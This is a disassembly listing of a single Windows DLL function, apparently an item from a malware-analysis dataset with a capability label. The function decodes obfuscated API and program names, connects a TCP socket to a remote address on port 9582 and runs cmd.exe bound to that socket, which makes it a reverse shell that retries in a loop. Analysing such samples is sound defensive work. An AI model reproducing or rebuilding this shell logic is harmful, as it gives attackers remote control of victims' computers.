Function at 0x10002240
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x614
mov eax, dword [0x10027008]
xor eax, esp
mov dword [esp + 0x610], eax
push ebx
push esi
mov esi, str.Bqd_sdOqnbdrr_
mov dword [esp + 0x10], ecx
push edi
xor edx, edx
lea edi, [esi + 1]
nop dword [eax + eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x10002270
sub esi, edi
je 0x1000229d
nop dword [eax + eax]
inc byte [edx + str.Bqd_sdOqnbdrr_]
mov ecx, str.Bqd_sdOqnbdrr_
inc edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002290
sub ecx, esi
cmp edx, ecx
jb 0x10002280
push str.lfsofm43_emm
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, str.XbjuGpsTjohmfPckfdu
mov edi, eax
mov dword [0x10028c7c], edi
xor edx, edx
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100022c0
sub ecx, esi
je 0x100022ed
nop dword [eax + eax]
dec byte [edx + str.XbjuGpsTjohmfPckfdu]
mov ecx, str.XbjuGpsTjohmfPckfdu
inc edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100022e0
sub ecx, esi
cmp edx, ecx
jb 0x100022d0
push str.Bqd_sdOqnbdrr_
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [0x10028c90], eax
call fcn.10002040
mov ecx, str.BknrdG_mckd
xor edx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002310
sub ecx, esi
je 0x1000233d
nop dword [eax + eax]
inc byte [edx + str.BknrdG_mckd]
mov ecx, str.BknrdG_mckd
inc edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002330
sub ecx, esi
cmp edx, ecx
jb 0x10002320
push str.XbjuGpsTjohmfPckfdu
push dword [0x10028c7c]
call edi
push str.BknrdG_mckd
push dword [0x10028c7c]
mov dword [0x10028c8c], eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x10028c88], eax
mov esi, 2
nop dword [eax]
push 0xfa0
call ebx
lea eax, [esp + 0x80]
push eax
push 0x202
call dword [0x10028ca8]
push 0
push 0
push 0
push 6
push 1
push 2
call dword [0x10028ca4]
push dword [esp + 0x14]
mov edi, eax
mov word [esp + 0x74], si
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x256e
mov dword [esp + 0x78], eax
call dword [sym.imp.WS2_32.dll_htons]
push 0
push 0
push 0
push 0
mov word [esp + 0x82], ax
lea eax, [esp + 0x80]
push 0x10
push eax
push edi
call dword [0x10028ca0]
cmp eax, 0xffffffff
jne 0x100023f4
push edi
call dword [0x10028c9c]
call dword [0x10028c98]
jmp 0x10002370
push 0x400
lea eax, [esp + 0x21c]
push 0
push eax
call fcn.100068b0
add esp, 0xc
lea eax, [esp + 0x218]
push 0
push 0x400
push eax
push edi
call dword [0x10028c94]
test eax, eax
jg 0x10002437
push edi
call dword [0x10028c9c]
call dword [0x10028c98]
jmp 0x10002370
xorps xmm0, xmm0
mov dword [esp + 0x210], 0x2f656e64
lea ecx, [esp + 0x210]
mov dword [esp + 0x214], 0x667966
movlpd qword [esp + 0x2c], xmm0
lea esi, [ecx + 1]
movlpd qword [esp + 0x34], xmm0
xor edx, edx
movlpd qword [esp + 0x3c], xmm0
movlpd qword [esp + 0x44], xmm0
movlpd qword [esp + 0x4c], xmm0
movlpd qword [esp + 0x58], xmm0
mov dword [esp + 0x28], 0x44
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002488
sub ecx, esi
je 0x100024bf
nop dword [eax]
nop word [eax + eax]
dec byte [esp + edx + 0x210]
lea eax, [esp + 0x210]
inc edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100024b2
sub eax, esi
cmp edx, eax
jb 0x100024a0
lea eax, [esp + 0x18]
mov dword [esp + 0x54], 0x101
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x6c], edi
push eax
push 0
push 0
push 0
push 1
push 0
push 0
lea eax, [esp + 0x230]
mov dword [esp + 0x84], edi
push eax
push 0
mov dword [esp + 0x88], edi
call dword [0x10028c90]
push 0xffffffffffffffff
push dword [esp + 0x1c]
call dword [0x10028c8c]
push dword [esp + 0x18]
call dword [0x10028c88]
push dword [esp + 0x1c]
call dword [0x10028c88]
push 0x400
lea eax, [esp + 0x21c]
push 0
push eax
call fcn.100068b0
add esp, 0xc
lea eax, [esp + 0x218]
push 0
push 0x400
push eax
push edi
call dword [0x10028c94]
cmp eax, 1
jle 0x10002598
mov ecx, str.exit_n
lea eax, [esp + 0x218]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10002580
test dl, dl
je 0x1000257c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10002580
add eax, 2
add ecx, 2
test dl, dl
jne 0x10002560
xor eax, eax
jmp 0x10002585
sbb eax, eax
or eax, 1
test eax, eax
je 0x100025a5
mov eax, dword [0x10028c84]
cmp byte [eax], 1
je 0x100025a5
jmp 0x10002367
push edi
call dword [0x10028c9c]
call dword [0x10028c98]
mov ecx, dword [esp + 0x61c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100046db
mov esp, ebp
pop ebp
ret